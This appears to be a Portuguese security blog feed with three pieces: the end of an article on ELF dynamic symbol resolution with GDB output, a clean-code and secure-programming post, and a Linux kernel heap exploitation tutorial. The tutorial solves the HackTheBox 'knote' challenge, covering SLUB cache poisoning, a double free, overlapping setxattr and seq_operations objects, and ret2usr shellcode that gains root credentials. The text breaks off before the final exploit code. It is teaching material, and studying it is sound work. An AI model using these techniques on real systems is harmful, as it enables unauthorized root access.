    ... #define DT_STRTAB        5            /* 0x05 - Address of string table */ #define DT_SYMTAB        6            /* 0x06 - Address of symbol table */ ... #define DT_JMPREL        23           /* 0x17 - Address of PLT relocs */ Tendo como referência o campo l_info da struct link_map e utilizando a seção .dynamic, a função _dl_runtime_resolve()consegue encontrar a .rela.plt (definida pela struct Elf64_Rela), e obtém um index que está vinculado ao campo r_info (veja mais informações sobre essa struct em https://man7.org/linux/man-pages/man5/elf.5.html), e usa esse index para localizar a seção .dynsym (definada pela struct Elf64_Sym). 
    Nesta seção, há um campo chamado st_name que armazena o offset para a string puts\0, localizada na .dynstr. Repare que está tudo conectado através de "ponteiros", apontando para outros "ponteiros". A partir da .dynamic, a função _dl_runtime_resolve()você consegue localizar em memória todas as estruturas necessárias para fazer corretamente o seu trabalho.
    Como exemplo, quando a _dl_runtime_resolve()quer descobrir onde está a .dynstr, ela verifica o link_map->l_info[DT_STRTAB] (veja que o #define acima é utilizado aqui!), onde há um ponteiro para a entrada da STRTAB, dentro da .dynamic.
    Não colocarei aqui a struct "link_map", pois é bem extensa (por exemplo, armazena até o endereço base do binário ELF), mas o único campo dela que interessa pra gente é o l_info, já citado acima.
    Seguem as 3 structs citadas:
    typedef struct {  /* .dynamic */   Elf64_Sxword d_tag;     /* 8 bytes */   union {                 /* 8 bytes */       Elf64_Xword d_val;       Elf64_Addr  d_ptr;     } d_un; } Elf64_Dyn;  /* Total = 16 bytes */ typedef struct {  /* .rela.plt */      |  typedef struct {  /* .dynsym */   Elf64_Addr r_offset;  /* 8 bytes */  |    uint32_t      st_name;     /* 4 bytes */   uint64_t   r_info;    /* 8 bytes */  |    unsigned char st_info;     /* 1 byte  */   int64_t    r_addend;  /* 8 bytes */  |    unsigned char st_other;    /* 1 byte  */ } Elf64_Rela;  /* Total = 24 bytes */  |    uint16_t      st_shndx;    /* 2 bytes */                                        |    Elf64_Addr    st_value;    /* 8 bytes */                                        |    uint64_t      st_size;     /* 8 bytes */                                        |  } Elf64_Sym;  /* Total = 24 bytes */ Como podemos ver, as structs Elf64_Rela e Elf64_Sym possuem 24 bytes de tamanho em ambiente 64 bits. Em 32 bits, o tamanho é diferente.
    Bom, vamos entender esse processo com mais detalhes.
    Descobrindo os "offsets" das estruturas que usaremos:
    $ readelf -S helloworld   # saída com adaptações There are 30 section headers, starting at offset 0x36c0: Section Headers:   [Nr] Name          Type         Address ...   [ 6] .dynsym       DYNSYM       03e0   [ 7] .dynstr       STRTAB       0488 ...   [11] .rela.plt     RELA         0618   [12] .init         PROGBITS     1000   [13] .plt          PROGBITS     1020 ...   [21] .dynamic      DYNAMIC      3df8   [22] .got          PROGBITS     3fd8   [23] .got.plt      PROGBITS     4000   [27] .symtab       SYMTAB       0000   [28] .strtab       STRTAB       0000 Obs: Para melhor entender as estruturas abaixo, aconselho importar o binário para o Ghidra, pois ele mostra visualmente cada seção descrita abaixo!
    Até agora, usamos o binário sem ele estar sendo executado e, devido ao PIE, obtemos somente os offsets das funções. Vamos executá-lo no GDB:
    # Obtendo o base address do binário: gef➤  deref -l 1 $_base() 0x0000555555554000│+0x0000: 0x00010102464c457f  # veja aqui o "magic number" do cabeçalho ELF  
    # Obtendo o conteúdo da .got.plt, somando o endereço base + o offset da .got.plt (obtido via "readelf -S"): gef➤  x/4gx 0x555555554000 + 0x4000        # saída com adaptações 0x555555558000: 0x000000003df8             # "offset" para a seção ".dynamic" 0x555555558008: 0x7ffff7ffe2a0             # "link_map" 0x555555558010: 0x7ffff7fda5d0             # "_dl_runtime_resolve()" 0x555555558018: 0x555555555036             # "puts()", ainda apontando para ".plt" (0x555555554000 + 0x1036) Chamei de slots as posições alinhadas em memória das estruturas que estamos procurando. Em síntese, é onde a informação que estamos procurando está localizada dentro da link_map.
    # Descobrindo a ".dynstr": "link_map->l_info[DT_STRTAB]", desfazendo os apontamentos: gef➤  x/gx (0x7ffff7ffe2a0 + (8*13))       # "link_map" + 13 "slots" = 0x7ffff7ffe308 0x7ffff7ffe308: 0x555555557e78             # 0x555555557e78 = endereço da seção ".dynamic", que aponta para: # a seção ".dynstr": gef➤  x/2gx 0x555555557e78 0x555555557e78: 0x000000000005      0x555555554488                  *-----> d_tag       *-----> d_val Obs: 0x555555557e78 aponta para "d_tag". "d_val" = "d_tag" + 8 bytes!
    d_val = 0x555555554488: 0x555555554000 (endereço base) + 0x488 (que é o offset para .dynstr)
    Pronto! Através do link_map e a .dynamic, conseguimos descobrir o endereço da .dynstr (0x555555554488)!
    Usando a mesma estratégia, vamos descobrir o endereço de link_map->l_info[DT_SYMTAB] e link_map->l_info[DT_JMPREL]:
    # Descobrindo a .dynsym: link_map->l_info[DT_SYMTAB], desfazendo os apontamentos: gef➤  x/gx (0x7ffff7ffe2a0 + (8*14))       # "link_map" + 14 "slots" = 0x7ffff7ffe310 0x7ffff7ffe310: 0x555555557e88             # 0x555555557e88 = endereço da seção ".dynamic", que aponta para: # a seção ".dynsym": gef➤  x/2gx 0x555555557e88 0x555555557e88: 0x000000000006      0x5555555543e0                  *-----> d_tag       *-----> d_val Obs: 0x555555557e88 aponta para d_tag. d_val = d_tag + 8 bytes!
    d_val = 0x5555555543e0: 0x555555554000 (endereço base) + 0x3e0 (que é o offset para .dynsym)
    Pronto! Através do link_map e a .dynamic, conseguimos descobrir o endereço da .dynsym (0x5555555543e0)!
    # Descobrindo a .rela.plt: "link_map->l_info[DT_JMPREL], desfazendo os apontamentos: gef➤  x/gx (0x7ffff7ffe2a0 + (8*31))       # "link_map" + 31 "slots" = 0x7ffff7ffe398 0x7ffff7ffe398: 0x555555557ef8             # 0x555555557ef8 = endereço da seção ".dynamic", que aponta para: # a seção ".rela.plt": gef➤  x/2gx 0x555555557ef8 0x555555557ef8: 0x000000000017      0x555555554618                  *-----> d_tag       *-----> d_val Obs: 0x555555557ef8 aponta para d_tag. d_val = d_tag + 8 bytes!
    d_val = 0x555555554618: 0x555555554000 (endereço base) + 0x618 (que é o offset para .rela.plt)
    Pronto! Através do link_map e a .dynamic, conseguimos descobrir o endereço da .rela.plt (0x555555554618)!
    De posse dos endereços das seções .rela.plt, .dynsym e .dynstr, a função _dl_runtime_resolve() tem condições de encontrar a string puts\0.
    A primeira estrutura a ser utilizada é a .rela.plt, pois possui informações sobre a realocação dos endereços das funções.
    $ readelf -r helloworld ... Relocation section '.rela.plt' at offset 0x618 contains 1 entry:   Offset          Info           Type           Sym. Value    Sym. Name + Addend 000000004018  000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 O readelf só nos mostra a função puts(), mas se o binário tivesse mais funções, ele as listaria aqui.
    Vamos conferir no debugger o conteúdo do endereço de memória da .rela.plt:
    gef➤  x/3gx 0x555555554618           # saída com modificações 0x555555554618: 0x0000000000004018   # r_offset 0x555555554620: 0x0000000300000007   # r_info 0x555555554628: 0x0000000000000000   # r_addend Vamos explicar o que significa esses campos:
       r_offset: Contém o offset que determina onde o endereço do símbolo resolvido será armazenado na .got.plt, no caso 0x4018 (veja o objdump que fizemos no começo do artigo);   r_info: Contém duas informações em um único campo: tipo de realocação index para a tabela de símbolos: será usado para localizar a estrutura Elf64_Sym correspndente na seção DYNSYM O campo r_info é interpretado através da sua definição no código da LIBC:
    #define ELF64_R_SYM(i)                  ((i) >> 32) #define ELF64_R_TYPE(i)                 ((i) & 0xffffffff) Após resolvermos essa matemática destes #define, encontramos que o tipo de realocação = 7 (R_X86_64_JUMP_SLOT) e o index para a tabela de símbolos = 3.
    De fato, se pegarmos o endereço inicial da tabela de símbolos .dynsym 0x5555555543e0 e somarmos 3*24 bytes (lembre-se que a estrutura .dynsym em 64 bits possui 24 bytes), encontraremos 0x555555554428, que é a Elf64_Sym da puts().
    $ readelf -s helloworld  # saída com modificações Symbol table '.dynsym' contains 7 entries:   Num:  Value Size Type    Bind   Vis      Ndx Name      0:  0x00    0  NOTYPE  LOCAL  DEFAULT  UND       1:  0x00    0  FUNC    GLOBAL DEFAULT  UND _[...]@GLIBC_2.34 (2)      2:  0x00    0  NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]  ==> 3:  0x00    0  FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (3)      4:  0x00    0  NOTYPE  WEAK   DEFAULT  UND __gmon_start__      5:  0x00    0  NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]      6:  0x00    0  FUNC    WEAK   DEFAULT  UND [...]@GLIBC_2.2.5 (3) Pela saída do readelf, verificamos que realmente o index 3 da tabela de símbolos corresponde à puts().
    Em relação ao tipo de realocação = 7 (R_X86_64_JUMP_SLOT - veja o readelf -r acima), há uma verificação sobre essa condição no código em ?
    assert ((reloc->r_info & 0xffffffff) == 0x7); Para resumir, esse assert verifica se reloc->r_info"é um JUMP_SLOT válido.
    Vejamos no GDB o conteúdo desses 24 bytes de memória da Elf64_Sym:
    gef➤  x/24xb 0x555555554428          # saída com modificações 0x555555554428: 0x22 0x00 0x00 0x00  # st_name  = 0x22 - 4 bytes 0x55555555442c: 0x12                 # st_info  = 0x12 - 1 byte 0x55555555442d: 0x00                 # st_other = 0x00 - 1 byte 0x55555555442e: 0x00 0x00            # st_shndx = 0x00 - 2 bytes 0x555555554430: 0x00 0x00 ...        # st_value = 0x00 - 8 bytes 0x555555554438: 0x00 0x00 ...        # st_size  = 0x00 - 8 bytes A string puts\0 é encontrada através do campo st_name, que representa o offset correspondente ao início da .dynstr (0x555555554488). Se somarmos este endereço com o valor de st_name, encontraremos a string:
    gef➤  x/2wx 0x555555554488+0x22 0x5555555544aa: 0x73747570      0x62696c00                   *----> string "puts" em hex no formato "little endian" Ou...
    gef➤  x/s 0x555555554488+0x22 0x5555555544aa: "puts" Pronto! Alcançamos o nosso objetivo. A partir de agora, conforme descrito anteriormente, a _dl_runtime_resolve():
    Procurará a puts() em todas as libs carregadas (shared objects) e encontrará o seu endereço dinâmico na LIBC; Atualizará o endereço dinâmico da puts() na 4a entrada da seção .got.plt (0x4018); Fará um jump para puts() (apenas esta vez. Na próxima chamada, a função será chamada diretamente pela PLT - endereço 0x1030); Para fecharmos o ciclo deste artigo, segue a .got.plt com o endereço virtual da puts()descoberto e atualizado:
    gef➤  x/4gx 0x555555554000 + 0x4000        # saída com adaptações 0x555555558000: 0x000000003df8             # "offset" para a seção ".dynamic" 0x555555558008: 0x7ffff7ffe2a0             # "link_map" 0x555555558010: 0x7ffff7fda5d0             # "_dl_runtime_resolve()" 0x555555558018: 0x7ffff7e075a0             # "puts()" ATUALIZADO!! Veja no vmmap que é um endereço da LIBC!
    Críticas, correções e comentários são bem-vindos.
    Obrigado!

    Gabriel Galdino
    O que é preciso para escrever um código de qualidade?
    "Escreva para pessoas, não para computadores", já dizia Uncle Bob, autor do livro “Clean Code” de 2008, que reúne algumas técnicas e práticas que ajudam a tornar o código mais legível, coeso e consistente.
    Neste post, vamos descrever algumas dicas de otimização de código desde o viés deste livro e a importância de aliar o código limpo com a Programação Segura, do DevSecOps, para garantir aos desenvolvedores uma melhor qualidade em suas entregas.
     
    Figura ilustrativa de como se mensura a qualidade de um código:

     
    Código de qualidade é geralmente definido como um código que funciona como pretendido para o usuário final, sem problemas. No livro que mencionamos, você encontra muitas dicas e recomendações, além de outros exemplos para te guiar.
    Lembrando que um código de alta qualidade tende a ser também mais seguro. Para isso, todo desenvolvedor precisa ter a consciência de que é preciso otimizar o código e escrevê-lo tendo em mente as principais vulnerabilidades, desde o início.
    Funcionou! Então já está bom?
    O código não deve ser medido apenas com base em “funciona” ou “não funciona”. Supostamente, o código que não funciona não é bom. No entanto, o código funcionando não significa necessariamente que está em boa condição.
    Programação em blocos
    Considere programar em blocos, ou seja, tenha uma visão geral do seu código conforme você o escreve. Por exemplo, em linguagens de programação baseadas em blocos, você sabe que o sistema funciona como um quebra-cabeça, cada fragmento é um comando e, em uma série de fragmentos, conseguimos escrever um bloco (ou parágrafo), que por sua vez faz o programa funcionar.
     Comentários nem sempre são legais
    Seja objetivo, evite comentários óbvios enquanto estiver escrevendo seu código. Comentários irrelevantes explicando o que um comando faz apenas poluem seu trabalho. Se você precisar comentar para explicar o código, talvez seja um sinal de que esteja precisando reescrevê-lo.
    Fique ligado nos nomes das funções: eles devem ser autoexplicativos
    Os nomes estão por toda parte: variáveis, funções, métodos, parâmetros, classes, objetos, arquivos fonte, diretórios, projetos, ramificações de controle de versão, etc. Reserve um tempo para escolher bons nomes para cada elemento do seu código. 
    Tenha em mente o seguinte exemplo: se precisarmos de uma função que obtenha as informações bancárias do usuário, não devemos usar um nome como getUserInfo ou algo parecido. Nesse caso, o ideal seria usar algo como getUserBankInfo, sendo mais específico. 
     Evite a repetição de código
    Quando estiver utilizando muitos comandos Ctrl+C e Ctrl+V, pergunte-se se existe uma alternativa melhor. A repetição significa que algum código, dentro do que está duplicado, precisa ser extraído para se tornar uma função.
    Veja este exemplo: 
     Prática de repetição

    Na primeira parte repetimos a mesma coisa três vezes. A solução de fazer uma função individual, deixando o código mais enxuto, por meio da reutilização é a melhor solução:
     
    Agora evitando a repetição

     
    As funções devem ser pequenas
    Funções pequenas ajudam a contar uma história de forma fácil e correta. Elas adicionam ordem, separação de interesses, abstração apropriada e estrutura correta ao seu código. Se nomeadas corretamente, tornam o código limpo, fácil de depurar e simples de seguir. 
    Mas quão pequeno deve ser? Bem, de acordo com o Robert, uma função nunca deve ter mais de 20 linhas de código.
    As funções devem fazer apenas uma coisa
    Uma função não deve afetar outros processos além de sua função pretendida inicialmente.
    Imagine que seja necessário adicionar e subtrair dois números, podemos fazer isso com uma única função. Entretanto, seguindo a boa prática, o ideal é dividir em duas funções. 
    Função que faz mais de uma coisa:

    Dividindo a função para cada uma servir ao seu papel:

    Por que dividir? Quando houver funções individuais, elas serão facilmente reutilizáveis durante o desenvolvimento da aplicação.
     
    Código otimizado é sinal de código seguro?
    Seguir essas dicas pode agregar muito na otimização do seu código. No entanto, a filosofia do código limpo não se limita aos tópicos mencionados acima.
    Para muitos Devs, ter um código limpo e rodando sem problemas significa ter um código seguro, mas o que nem todos sabem é que um código performático, não garante que esteja isento de vulnerabilidades.
    Vulnerabilidades e violações de segurança podem existir em qualquer lugar no código. Nesse sentido, você pode acelerar a sua entrega aplicando o princípio Shift-Left, o que significa em outras palavras trazer todo o planejamento e preocupação com segurança, antes mesmo de fazer um commit. 
    Proteja-se contra os ataques conhecidos
    É fácil imaginar que muitos invasores poderão hackear nossas aplicações utilizando vetores de ataques conhecidos, ou melhor dizendo, das vulnerabilidades mais comuns na internet.
    Uma falta geral de conhecimento sobre ameaças famosas da área de segurança e como explorá-las leva à repetição dos mesmos bugs de segurança no código.
    Posto isso, descubra as 10 principais vulnerabilidades do OWASP e como essas explorações populares funcionam.
    Seguir essas dicas de segurança irá protegê-lo de muitas vulnerabilidades futuras e este pode ser o início de sua Programação Segura. 
    Dicas técnicas de programação segura
    Após revisar algumas técnicas de otimização de código com Robert Martin e a importância da segurança na hora de desenvolver uma aplicação, ficou evidente o papel do desenvolvedor na construção de uma aplicação segura e de alta qualidade.
    Portanto, desenvolvemos um conteúdo abordando algumas práticas para te ajudar a desenvolver de forma mais segura para ser proativo em relação às possíveis ameaças de segurança, confira essas dicas do blog da Conviso.
    Gostou deste conteúdo? Inscreva-se no canal de YouTube da Conviso!
     

    0xTen
    Introdução
    Ao explorar bugs de corrupção de memória, mesmo que os tipos de bugs sejam quase sempre os mesmos (Use-after-free, Double-free, OOB, Overflow, etc), as técnicas que devem ser usadas para explorar o bug variam a depender de alguns fatores como a plataforma, a região de memória, o alocador, e muitos muitos outros. Nesse artigo vamos entender como explorar corrupções de memória nos alocadores utilizados nas principais builds do kernel linux, o SLUB e o SLAB, para alcançar primitivas de leitura e escrita na memória e algumas técnicas para usar essa primitivas para escalar o nosso privilégio no sistema com algumas proteções comuns. Note que para entender exploração de heap no kernel linux é ideal já estar familiar com assuntos de heap e de kernel, separadamente.
    SLUB
    O SLUB, é um alocador de memória, ou seja, quando o kernel chama a função kmalloc(), o SLUB é o responsável por alocar um objeto na memória com o tamanho solicitado e retornar um ponteiro para esse objeto e também por adicionar o objeto em algum cache para reuso quando o kernel chama a função kfree(). É importante destacar que existem outros alocadores como o SLAB.
    O alocador SLUB divide os objetos em diferentes regiões chamadas slabs, de acordo com o tamanho dos objetos. As slabs existentes dependem de como o kernel foi compilado mas normalmente a menor slab é a kmalloc-16, onde ficam armazenados os objetos com tamanho maior ou igual a 16 bytes, seguido pelo kmalloc-32, para os objetos com tamanho maior ou igual a 32 bytes, kmalloc-64, kmalloc-96, kmalloc-128... (normalmente alinhado a múltiplos de 32). Ou seja, todos os objetos de mesmo tamanho são alocados próximos uns aos outros. Portanto, é IMPOSSÍVEL, por exemplo, um objeto de 64 bytes ser adjacente a um objeto de 32 bytes (em breve vamos falar das implicações dessa observação na exploração).
    É importante também observar que o cache do SLUB consiste em freelists para cada slab. Essas freelists são linked-lists simples em que cada objeto da lista possui um ponteiro na primeira qword que aponta para o próximo objeto da lista. As freelists normalmente possuem um comportamento LIFO (Last in First Out), que significa que os objetos que foram liberados por último serão os primeiros a serem realocados.

    SLAB
    O SLAB é similar ao SLUB em quase todos os aspectos exceto pelo fato de que os objetos livres que estão nas freelists não possuem um ponteiro na primeira qword que aponte para o próximo objeto livre. Objetos no cache do SLAB não armazenam NENHUM tipo de metadado, tornando algumas das técnicas utilizadas no SLUB inviáveis.
    Corrompendo objetos
    É importante perceber no caso do SLUB que os ponteiros dos objetos livres são alvos fáceis uma vez que um objeto foi corrompido, permitindo que o próximo objeto do tamanho corrompido seja alocado em uma localização arbitrária ao fazer com que o kmalloc retorne um ponteiro arbitrário.

    Entretanto, lembre-se que o SLAB não possui estes ponteiros para que sejam corrompidos, ou seja, envenenar o cache não é possível se o alocador SLAB for utilizado, portanto, alcançar escrita e leitura arbitrárias não é tão simples quanto no SLUB.
    Para isso é preciso entender que todos os objetos de todos os subsistemas do linux usam o mesmo heap e os mesmos caches. Suponha uma corrupção de memória que permita sobrescrever objetos que estão inicialmente livres, seja um OOB, um buffer overflow, um use-after-free ou qualquer outra. Essa corrupção permitiria sobrescrever o objeto não somente enquanto ele está livre, mas também permitiria sobrescrevê-lo depois que já foi realocado, ou seja, é possível sobrescrever um objeto que armazene alguma estrutura importante que seja utilizada por outro subsistema.
    Com esse conceito em mente, imagine um subsistema sem vulnerabilidades com 4 syscalls que podem ser invocadas pela userland,
    syscall(SYS_init_obj, size_t sz); retorna um ponteiro para o objeto syscall(SYS_write_obj, void *in, size_t sz); escreve no objeto syscall(SYS_read_obj, void *out, size_t sz); copia os bytes do objeto para a userland syscall(SYS_del_obj); libera o objeto e destrói a referência Suponha também que o subsistema possui uma estrutura para esse objeto que fica no heap que tem os seguintes campos:
    void *data size_t sz Esta estrutura fica no heap, e por possuir 2 campos de 8 bytes cada, fica na slab kmalloc-16.
    Agora suponha que haja uma corrupção em outro subsistema e que seja um Use-after-free, por exemplo. Ou seja, existe um objeto livre que ainda pode ser acessado, neste caso, suponha acesso de escrita. Um caminho para abusar isso seria criar a condição de Use-after-free, ou seja, alocar o objeto vulnerável, e deletá-lo em seguida. E então chamar a syscall SYS_init_obj com o mesmo tamanho do objeto do vulnerável, assim, o comportamento LIFO do SLAB fará com que essa alocação utilize o último objeto que foi livre, ou seja, o objeto vulnerável. Com isso acabamos de criar uma interface de escrita e leitura arbitrárias.

    Assim, podemos usar o subsistema vulnerável para editar para onde o ponteiro data aponta e qual é o valor do tamanho sz e em seguida usar o subsistema alvo para ler e escrever utilizando os valores corrompidos. Numa situação real é possível que a corrupção de memória esteja restrita a um slab específico, portanto, é importante selecionar objetos alvo de acordo com o objetivo e o slab. Aqui está um compilado de alguns desses objetos.
    Algumas proteções
    O foco desse artigo é introduzir especificamente as técnicas relacionadas ao heap do kernel linux, tocando o mínimo possível em assuntos generalistas do kernel e de heap, separadamente. Portanto somente algumas proteções serão brevemente mencionadas.
    O kernel linux pode ser (e normalmente é) executado com algumas proteções que devem ser consideradas se presentes no ambiente, como:
     kASLR
    A versão kernel-mode do ASLR. Randomiza a base onde as regiões de memória do kernel são inicializadas, tornando a exploração muito difícil (e às vezes impossível) sem um vazamento que permita ler um ponteiro do kernel.
    SMEP
    Restringe a execução de memória em páginas da userland. Ou seja, se o PC em kernel-mode apontar para uma página alocada para a userland, isso causará uma exceção e um kernel panic.
    SMAP
    É uma extensão do SMEP, porém, não somente restringe a execução de páginas da userland mas também restringe o acesso direto de memória alocada para a userland. Ou seja, o acesso de leitura ou escrita em kernel-mode a uma página da userland causará uma exceção e um kernel panic. A única forma de acessar memória da userland com o SMAP habilitado é por meio da interface usercopy, que disponibiliza as funções copy_from_user e copy_to_user.
    Exemplificando com desafios de CTF
    Um desafio de nível introdutório é o knote do Hackthebox. Os arquivos do desafio estão todos no meu github.
    Vamos resolver o desafio com os conceitos que foram discutidos, começando com uma breve análise do módulo.
    Análise do módulo vulnerável
    [...] static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {     mutex_lock(&knote_ioctl_lock);     struct knote_user ku;     if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))         return -EFAULT;     switch(cmd) {         case KNOTE_CREATE:             if(ku.len > 0x20 || ku.idx >= 10)                 return -EINVAL;             char *data = kmalloc(ku.len, GFP_KERNEL);             knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);             if(data == NULL || knotes[ku.idx] == NULL) {                 mutex_unlock(&knote_ioctl_lock);                 return -ENOMEM;             }             knotes[ku.idx]->data = data;             knotes[ku.idx]->len = ku.len;             if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {                 kfree(knotes[ku.idx]->data);                 kfree(knotes[ku.idx]);                 mutex_unlock(&knote_ioctl_lock);                 return -EFAULT;             }             knotes[ku.idx]->encrypt_func = knote_encrypt;             knotes[ku.idx]->decrypt_func = knote_decrypt;             break;         case KNOTE_DELETE:             if(ku.idx >= 10 || !knotes[ku.idx]) {                 mutex_unlock(&knote_ioctl_lock);                 return -EINVAL;             }             kfree(knotes[ku.idx]->data);             kfree(knotes[ku.idx]);             knotes[ku.idx] = NULL;             break;         case KNOTE_READ:             if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {                 mutex_unlock(&knote_ioctl_lock);                 return -EINVAL;             }             if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {                 mutex_unlock(&knote_ioctl_lock);                 return -EFAULT;             }             break;         case KNOTE_ENCRYPT:             if(ku.idx >= 10 || !knotes[ku.idx]) {                 mutex_unlock(&knote_ioctl_lock);                 return -EINVAL;             }             knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);             break;          case KNOTE_DECRYPT:             if(ku.idx >= 10 || !knotes[ku.idx]) {                 mutex_unlock(&knote_ioctl_lock);                 return -EINVAL;             }             knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);             break;         default:             mutex_unlock(&knote_ioctl_lock);             return -EINVAL;     }     mutex_unlock(&knote_ioctl_lock);     return 0; } [...] O módulo funciona de forma relativamente simples, há somente uma função acessível para a userland por meio de uma chamada ioctl que permite executar 5 comandos: KNOTE_CREATE, KNOTE_DELETE, KNOTE_READ, KNOTE_ENCRYPT e KNOTE_DECRYPT.
    O comando KNOTE_CREATE e KNOTE_DELETE podem ser usados para criar um bug de double free:
    [...] char *data = kmalloc(ku.len, GFP_KERNEL); knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL); [...] if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {     kfree(knotes[ku.idx]->data);     kfree(knotes[ku.idx]); [...] Explorando um double-free
    ku.data é um ponteiro controlado pela userland que aponta para os dados que devem ser copiados para o buffer knotes[ku.idx]->data (buffer alocado com o kmalloc) com a função copy_from_user. Caso a chamada para a função copy_from_user retorne um valor não nulo, ou seja, um erro, então a estrutura com o ponteiro e tamanho do buffer e o buffer em si, são liberados com o kfree sem anular o ponteiro para a estrutura no array knotes nem anular o ponteiro contido na estrutura que aponta para o buffer, ou seja, as referências todas são preservadas mesmo após os objetos já terem sido liberados e adicionados aos seus respectivos caches. Em muitas situações esse bug seria um use-after-free, mas este módulo não implementa forma nenhuma de editar o buffer depois que já foi criado, portanto, não é possível escrever diretamente no objeto. Entretanto, uma vez que a referência do objeto recém-liberado ainda existe, é possível usar o comando KNOTE_DELETE para liberar o objeto novamente, fazendo com que duas entradas do cache apontem para a mesma memória, o que fará com que as próximas duas alocações para essa slab se sobreponham.
    Corrompendo estruturas
    Ok, nós já podemos sobrepor objetos, mas ainda é preciso decidir quais objetos sobrepor da vasta gama de opções que o kernel Linux oferece. Para isso, podemos nos apoiar no compilado de estruturas documentadas que podem ser usadas para apoiar a exploração. O nosso objetivo deve ser sobrescrever um objeto que tenhamos pleno acesso de escrita com um outro que carregue estruturas críticas (como ponteiros de função ou ponteiros usados para leitura e/ou escrita). No caso desse desafio, as proteções SMAP e SMEP estão desabilitadas, por tanto, é possível executar memória da userland. Já que podemos executar memória da userland, podemos utilizar uma técnica chamada ret2usr, que consiste em alocar um shellcode em memória da userland e então apontar o PC em kernel-mode para esse endereço. Para essa tarefa, eu escolhi o objeto alocado pela função setxattr já que os dados e o tamanho desse buffer podem ser controlados pela userland no momento da alocação e como objeto alvo eu escolhi a estrutura seq_operations, já que essa estrutura armazena ponteiros de função.sexattr:
    setxattr(struct dentry *d, const char __user *name, const void __user *value,      size_t size, int flags) {     int error;     void *kvalue = NULL;     char kname[XATTR_NAME_MAX + 1];     if (flags & ~(XATTR_CREATE|XATTR_REPLACE))         return -EINVAL;     error = strncpy_from_user(kname, name, sizeof(kname));     if (error == 0 || error == sizeof(kname))         error = -ERANGE;     if (error < 0)         return error;     if (size) {         if (size > XATTR_SIZE_MAX)             return -E2BIG;         kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);         if (!kvalue) {             kvalue = vmalloc(size);             if (!kvalue)                 return -ENOMEM;         }         if (copy_from_user(kvalue, value, size)) {             error = -EFAULT;             goto out;         }         if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||             (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))             posix_acl_fix_xattr_from_user(kvalue, size);     }     error = vfs_setxattr(d, kname, kvalue, size, flags); out:     kvfree(kvalue);     return error; } seq_operations:
    struct seq_operations {     void * (*start) (struct seq_file *m, loff_t *pos);     void (*stop) (struct seq_file *m, void *v);     void * (*next) (struct seq_file *m, void *v, loff_t *pos);     int (*show) (struct seq_file *m, void *v); }; A estrutura seq_operations pode ser alocada ao abrir o arquivo /proc/self/stat da seguinte forma: open("/proc/self/stat",O_RDONLY);. O objeto elástico e controlável alocado pela setxattr pode ser alocado da seguinte forma:  setxattr("/path/qualquer","nome_qualquer", &buffer, tamanho, 0); Uma vez que o objeto seq_operations foi alocado, o ponteiro start, na primeira qword da estrutura, pode ser dereferenciado e executado quando quisermos ao chamar read(target, buffer_qualquer, 1); sendo target o file descriptor retornado pelo open ao abrir o /proc/self/stat. Escalar privilégios
    Este artigo tem o objetivo de descrever com detalhe as técnicas de manipulação do heap no kernel linux, sendo assim, passaremos muito brevemente pela escrita do shellcode para que o foco original seja mantido, mas para os que não entendem do assunto e gostariam de entender mais, eu recomendo a série de nível introdutório de kernel exploitation do lkmidas.
    Por último, precisamos escrever um shellcode que possa nos colocar em uma shell de root. Uma forma de fazer isso é utilizando um shellcode que execute algo como commit_creds(prepare_kernel_cred(0)) que criará um instância da estrutura cred com os ids setados para 0, ou seja, uma credencial de root, e então tornará essa a nova cred do processo atual.
    Se o kASLR estivesse habilitado (que não é o caso) nós precisaríamos de um vazamento de um ponteiro do kernel para calcular os endereços das funções commit_creds e prepare_kernel_cred. Também devemos escrever um segundo shellcode que será executado pelo nosso programa em user-mode antes de começar o exploit para salvar os registradores que serão restaurados quando o shellcode executado pelo PC em kernel-mode trocar o contexto de volta para user-mode e por fim abrir uma shell.
    [...] void bak(){     __asm__(         ".intel_syntax noprefix;"         "mov bak_cs, cs;"         "mov bak_ss, ss;"         "mov bak_rsp, rsp;"         "pushf;"         "pop bak_rflags;"         ".att_syntax;"             );     puts("[+]Registers backed up"); } [...] void shellcode(){     __asm__(         ".intel_syntax noprefix;"         "mov rdi, 0;"         "movabs rbx, 0xffffffff81053c50;"         "call rbx;"         "mov rdi, rax;"         "movabs rbx, 0xffffffff81053a30;"         "call rbx;"         "swapgs;"         "mov r15, bak_ss;"         "push r15;"         "mov r15, bak_rsp;"         "push r15;"         "mov r15, bak_rflags;"         "push r15;"         "mov r15, bak_cs;"         "push r15;"         "mov r15, bak_rip;"         "push r15;"         "iretq;"         ".att_syntax;"     ); [...] Exploit final
    Recapitulando brevemente, nossa técnica consistiu em:
    Criar a condição de double free; Alocar um objeto seq_operations que contém ponteiros de função; Alocar um objeto setxattr para sobrepôr o objeto seq_operations e sobrescrever um ponteiro de função com um ponteiro para o nosso shellcode na userland; Fazer com que o ponteiro de função corrompido seja chamado, que resultará na execução do nosso shellcode; O meu código para a solução do desafio ficou assim:
